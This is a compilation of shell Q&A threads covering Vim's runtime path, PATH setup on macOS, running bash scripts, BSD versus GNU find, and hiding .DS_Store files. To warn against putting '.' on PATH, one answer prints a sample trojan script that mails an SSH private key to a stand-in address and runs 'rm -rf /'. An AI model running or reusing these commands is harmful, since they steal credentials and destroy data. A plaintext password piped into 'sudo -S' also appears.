Decide Vimfiles directory from Bash - bash

I would like to get the vimfiles directory of the user. Given that users can presumable use directories other than ~/.vim/, retrieving the directory from vim's vimfiles variable would be the optimal cross-platform way to do it. But how?
I think calling something like vim -q -c COMMAND might actually be the solution, but am not sure about the COMMAND to be used.

I think this will do what you want.
vim -c ':exec ":silent !echo ".&rtp | exec ":q!"'
On my laptop this is the result (reformatted for readability).
/Users/dan/.vim,/Users/dan/.vim/bundle/ack,/Users/dan/.vim/bundle/fugitive,
/Users/dan/.vim/bundle/json,/Users/dan/.vim/bundle/my-ackmore,
/Users/dan/.vim/bundle/my-endwise,/Users/dan/.vim/bundle/pathogen,
/Users/dan/.vim/bundle/perl,/Users/dan/.vim/bundle/pgsql,
/Users/dan/.vim/bundle/quickrun,/Users/dan/.vim/bundle/repeat,
/Users/dan/.vim/bundle/signify,/Users/dan/.vim/bundle/statline,
/Users/dan/.vim/bundle/surround,/Users/dan/.vim/bundle/tcomment,
/usr/share/vim/vimfiles,/usr/share/vim/vim73,
/usr/share/vim/vimfiles/after,/Users/dan/.vim/after
You can read more about Vim startup in :help $VIM.
UPDATE: as requested, here is a variation to only show the first entry in the list, which I think should be vimfiles:
vim -c ':exec ":silent !echo " . split(&rtp,",")[0] | exec ":q!"'

Related

How can I open Emacs on Mac OS X such that it is loaded with my $PATH?

I'm running Snow Leopard, and trying to run Emacs such that when I start it up, the output of (getenv "PATH") is the same as the output in Terminal.app of echo $PATH.
In other words, I want to start up Emacs from /Applications/Emacs.app and have it start with my $PATH. I haven't been able to figure out how to do this within emacs, or with how I start emacs up. So I've spent most of my effort trying to come up with a shell script that I can wrap with something like Platypus or Appify.
So the closest thing I have right now is:
echo MYPASSWD | sudo -S -u USERNAME -i nohup /Applications/Emacs.app/Contents/MacOS/Emacs > /dev/null &
which fails because it seems that nohup throws away my $PATH, despite the -i flag. The following does not throw away my PATH but open a superfluous Terminal.app:
echo MYPASSWD | sudo -S -u USERNAME -i open /Applications/Emacs.app/Contents/MacOS/Emacs > /dev/null &
I've tried running this through do shell script in an AppleScript, also to no avail.
Am I missing something basic? It doesn't seem like this should be hard. Thanks!
I wrote a little elisp a while ago to parse the output of env and apply it to the Emacs environment because I didn't want to maintain a plist. The code's at http://paste.lisp.org/display/111574.
GUI applications are not launched by a traditional shell and do not inherit environment variables from the usual places like .profile, .bash_profile, etc.
http://developer.apple.com/library/mac/#documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/EnvironmentVars.html%23//apple_ref/doc/uid/20002093-BCIJIJBH explains that ~/.MacOSX/environment.plist is the place you probably want to add your favorite equivalent of $PATH.
I ran into the same problem and here's how I worked around it. I created ~/.bashrc and populated it with:
source /etc/profile
source ~/.profile
You have to export the PATH to the location of the .app so it would be something like this
export PATH=$PATH:/path/to/the/program
That should allow you to just type EMACS and it will start up.

Why do I have to use an absolute path to execute Bash scripts?

I have a Bash script on my desktop called highest.
If I run:
cd ~/Desktop
highest
I get: Command not found
But if I run:
~/Desktop/highest
It executes just fine. But why do I still need to use the absolute path when my command line is in the correct directory?
I am guessing this has something to do with the $PATH variable. Like I need to add something like ./ to it. If so, how do I add that? I am not used to Linux yet and get very confused when this happens.
I agree with #Dennis's statement. Don't add '.' to your PATH. It's a security risk, because it would make it more possible for a cracker to override your commands. For a good explanation, see http://www.linux.org/docs/ldp/howto/Path-12.html .
For example, pretend I was a cracker and I created a trojaned files like /tmp/ls , like so. Pretend that this was on a shared system at a university or something.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker#foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor#university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
What would happen if you were in the /tmp directory and executed the 'ls' command? If PATH included ., then you would execute /tmp/ls , when your real intention was to use the default 'ls' at /bin/ls.
Instead, if you want to execute your own binaries, either call the script explicitly (e.g. ./highest) or create your own bin directory, which is what most users do.
Add your own ~/bin directory, and place your own binaries in there.
mkdir ~/bin
vi ~/bin/highest
Then, modify your PATH to use your local binary. Modify the PATH statement in your .bashrc to look like this.
export PATH=$PATH:~/bin
To verify that highest is your path, do this:
bash$ which highest
/Users/stefanl/bin/highest
Yes, adding ./ is ok, so running cd ~/Desktop; ./highest will work. The problem is as you said: running highest by itself causes Linux to look in your $PATH for anything named highest, and since there's nothing there called that, it fails. Running ./highest while in the right directory gets around the problem altogether since you are specifying the path to the executable.
The best thing you can do is just get used to using ./highest when you want to run a command that is in your directory, unless you really want to add it to your path. Then you should add it to your path in your .profile file in your home directory (create it if it isn't there) so it gets loaded into your path every time you start up bash:
export PATH="/usr/local/bin:/usr/local/sbin:.:$PATH"
Don't change PATH, simply move or symlink the script to some standard location, e.g.
mkdir -p ~/bin
cd ~/bin
ln -s ../Desktop/highest highest
If ~/bin is in your path (and AFAIR this is the case if you use the default shell init scripts from Ubuntu), then you can call the scripts therein from anywhere by their name.
You would need to add the local directory to your path:
PATH=$PATH:.
export PATH
This can be done in your .profile or .bash_profile to always set this up whenever you login.
Also, as a matter of course, you can run the command with the current directory marker:
./highest
as well.
Of course there are security implications as noted below by many MANY users, which I should have mentioned.

How do I execute a bash script in Terminal?

I have a bash script like:
#!/bin/bash
echo Hello world!
How do I execute this in Terminal?
Yet another way to execute it (this time without setting execute permissions):
bash /path/to/scriptname
$prompt: /path/to/script and hit enter. Note you need to make sure the script has execute permissions.
cd to the directory that contains the script, or put it in a bin folder that is in your $PATH
then type
./scriptname.sh
if in the same directory or
scriptname.sh
if it's in the bin folder.
You could do:
sh scriptname.sh
This is an old thread, but I happened across it and I'm surprised nobody has put up a complete answer yet. So here goes...
The Executing a Command Line Script Tutorial!
Q: How do I execute this in Terminal?
The answer is below, but first ... if you are asking this question, here are a few other tidbits to help you on your way:
Confusions and Conflicts:
The Path
Understanding The Path (added by tripleee for completeness) is important. The "path" sounds like a Zen-like hacker koan or something, but it is simply a list of directories (folders) that are searched automatically when an unknown command is typed in at the command prompt. Some commands, like ls may be built-in's, but most commands are actually separate small programs. (This is where the "Zen of Unix" comes in ... "(i) Make each program do one thing well.")
Extensions
Unlike the old DOS command prompts that a lot of people remember, you do not need an 'extension' (like .sh or .py or anything else), but it helps to keep track of things. It is really only there for humans to use as a reference and most command lines and programs will not care in the least. It won't hurt. If the script name contains an extension, however, you must use it. It is part of the filename.
Changing directories
You do not need to be in any certain directory at all for any reason. But if the directory is not on the path (type echo $PATH to see), then you must include it. If you want to run a script from the current directory, use ./ before it. This ./ thing means 'here in the current directory.'
Typing the program name
You do not need to type out the name of the program that runs the file (BASH or Python or whatever) unless you want to. It won't hurt, but there are a few times when you may get slightly different results.
SUDO
You do not need sudo to do any of this. This command is reserved for running commands as another user or a 'root' (administrator) user. Running scripts with sudo allows much greater danger of screwing things up. So if you don't know the exact reason for using sudo, don't use it. Great post here.
Script location ...
A good place to put your scripts is in your ~/bin folder.
You can get there by typing
# A good place to put your scripts is in your ~/bin folder.
> cd ~/bin # or cd $HOME/bin
> ls -l
You will see a listing with owners and permissions. You will notice that you 'own' all of the files in this directory. You have full control over this directory and nobody else can easily modify it.
If it does not exist, you can create one:
> mkdir -p ~/bin && cd ~/bin
> pwd
/Users/Userxxxx/bin
A: To "execute this script" from the terminal on a Unix/Linux type system, you have to do three things:
1. Tell the system the location of the script. (pick one)
# type the name of the script with the full path
> /path/to/script.sh
# execute the script from the directory it is in
> ./script.sh
# place the script in a directory that is on the PATH
> script.sh
# ... to see the list of directories in the path, use:
> echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# ... or for a list that is easier to read:
> echo -e ${PATH//:/\\n}
# or
> printf "%b" "${PATH//:/\\n}"
/usr/local/sbin
/usr/local/bin
/usr/sbin
/usr/bin
/sbin
/bin
2. Tell the system that the script has permission to execute. (pick one)
# set the 'execute' permissions on the script
> chmod +x /path/to/script.sh
# using specific permissions instead
# FYI, this makes these scripts inaccessible by ANYONE but an administrator
> chmod 700 /path/to/script.sh
# set all files in your script directory to execute permissions
> chmod +x ~/bin/*
There is a great discussion of permissions with a cool chart here.
3. Tell the system the type of script. (pick one)
Type the name of the program before the script. (Note: when using this method, the execute(chmod thing above) is not required
> bash /path/to/script.sh
...
> php /path/to/script.php
...
> python3 /path/to/script.py
...
Use a shebang, which I see you have (#!/bin/bash) in your example. If you have that as the first line of your script, the system will use that program to execute the script. No need for typing programs or using extensions.
Use a "portable" shebang. You can also have the system choose the version of the program that is first in the PATH by using #!/usr/bin/env followed by the program name (e.g. #!/usr/bin/env bash or #!/usr/bin/env python3). There are pros and cons as thoroughly discussed here.
Note: This "portable" shebang may not be as portable as it seems. As with anything over 50 years old and steeped in numerous options that never work out quite the way you expect them ... there is a heated debate. The most recent one I saw that is actually quite different from most ideas is the "portable" perl-bang:
#!/bin/sh
exec perl -x "$0" "$#"
#!perl
Firstly you have to make it executable using: chmod +x name_of_your_file_script.
After you made it executable, you can run it using ./same_name_of_your_file_script
Change your directory to where script is located by using cd command
Then type
bash program-name.sh
And yet one more way
. /path/to/script
What is the meaning of the dot?
If you are in a directory or folder where the script file is available then simply change the file permission in executable mode by doing
chmod +x your_filename.sh
After that you will run the script by using the following command.
$ sudo ./your_filename.sh
Above the "." represent the current directory.
Note!
If you are not in the directory where the bash script file is present then you change the directory where the file is located by using
cd Directory_name/write the complete path
command. Otherwise your script can not run.

How can I make the "find" Command on OS X default to the current directory?

I am a heavy command line user and use the find command extensively in my build system scripts. However on Mac OS X when I am not concentrating I often get output like this:
$ find -name \*.plist
find: illegal option -- n
find: illegal option -- a
find: illegal option -- m
find: illegal option -- e
find: *.plist: No such file or directory
Basically, I forgot to add the little dot:
$ find . -name \*.plist
Because BSD find requires the path and GNU find doesn't (it assumes the current directory if you don't specify one). I use Linux, Mac OS X and Cygwin often all at the same time, so it's of great benefit to me to have all my tools behave the same. I tried writing a bash find function that added "./" if I forgot, but I failed. Thanks for your help. :)
Install GNU find instead.
$ brew install findutils
$ alias find=gfind
Yay, it works!
If you can't discipline yourself to use find 'correctly', then why not install GNU find (from findutils) in a directory on your PATH ahead of the system find command.
I used to have my own private variant of cp that would copy files to the current directory if the last item in the list was not a directory. I kept that in my personal bin directory for many years - but eventually removed it because I no longer used the functionality. (My 'cp.sh' was written in 1987 and edited twice, in 1990 and 1997, as part of changes to version control system notations. I think I removed it around 1998. The primary problem with the script is that cp file1 file2 is ambiguous between copying a file over another and copying two files to the current directory.)
Consider writing your own wrapper to find:
#!/bin/sh
[ ! -d "$1" ] && set -- . "$#"
exec /usr/bin/find "$#"
The second line says "if argument 1 is not a directory, then adjust the command line arguments to include dot ahead of the rest of the command. That will be confusing if you ever type:
~/bin/find /non-existent/directory -name '*.plist' -print
because the non-existent directory isn't a directory and the script will add dot to the command line -- the sort of reason that I stopped using my private cp command.
If you must call it 'find', then you want:
alias find=/usr/bin/find\ .
in your .profile or .bash_profile or …. Substitute the real path (if not /usr/bin/find) on your Mac OSX. Enter the full path to avoid cycles (bash normally would interpret alias find=find without issues, but better be sure).
But you better not name the alias find (findl, myfind etc), because it will become a habit and trouble for you if you try it on another system.
find ./ -name "*.plist"
edit: hmm, i may have misunderstood the question! if you were crazy, how about emulating it via a shell script? i routinely keep random utility scripts in ~/.bin, and that's the first thing in my PATH. if you had a similar setup perhaps you could do something like: (untested!)
#!/bin/sh
# remapping find!
CMD=`echo $1 | cut -c 1`
if [ $CMD = '-' ]
then
# pwd search
/usr/bin/find ./ $*
else
# regular find
/usr/bin/find $*
fi
I would suggest that if you're writing scripts (which are more likely to be migrated from one system to another sometime in the future) that you should try to use the more specific form of the command, that is specifying the "." instead of relying on a default. For the same reason, I might even suggest writing sh scripts instead of relying on bash which might not be installed everywhere.
This is probably not what you want but how about: alias find="find ."
or choose a new name (findl for find local?)
You may want to run the commands found in this link: https://www.topbug.net/blog/2013/04/14/install-and-use-gnu-command-line-tools-in-mac-os-x/
It is a bit outdated, for example I found I did not have to add many commands to my path at all.
This covers your problem by having your system use the Non-BSD find utility from the findutils package, while also installing other tools you may want as well.

OSX - always hide certain files

I know how to show and hide hidden files in the Terminal - but is there a way to hide certain files like .DS_STORE when showing hidden files? Make certain files super-hidden, so to speak?
Use chflags with the hidden option
ie: chflags hidden fileToHide to hide the file from the Finde
and chflags nohidden fileToHide to show the file
Please do keep in mind the warning in man page:
Only a limited number of utilities are chflags aware. Some of these tools include ls(1), cp(1), find(1), install(1), dump(8), and restore(8). In particular a tool which is not currently chflags aware is the pax(1) utility.
What that means is that while you won't see in the Finder or Open/Save dialog boxes, the Terminal will still see it and possibly other programs that don't respect BSD flags.
To follow up on #ibz's answer, an alias would work fine, but you may want to make a shell script that takes parameters for a little more flexibility.
#!/bin/bash
/bin/ls $# | grep -v .DS_Store
Create the above in ~/bin and name it lv, chmod 755 on it, and remember to add ~/bin to your path in your .bash_profile
export PATH=~/bin:$PATH
You can also name it ls as long as you put ~/bin first in your PATH and use the full path to /bin/ls in your script so that you don't get recursive interpretation. Whenever you want to use the real ls, then you'll need to specify the full path.
To follow up on #tvanfosson's answer, a script would work fine, but you can make it simpler by defining a function in your .bashrc. :)
function lv { ls $# | grep -v .DS_Store; }
Do something like this in your .bashrc
alias lv="ls -al | grep -v .DS_Store"
Now use lv instead of ls to see all the files (including hidden), but excluding .DS_Store.

Resources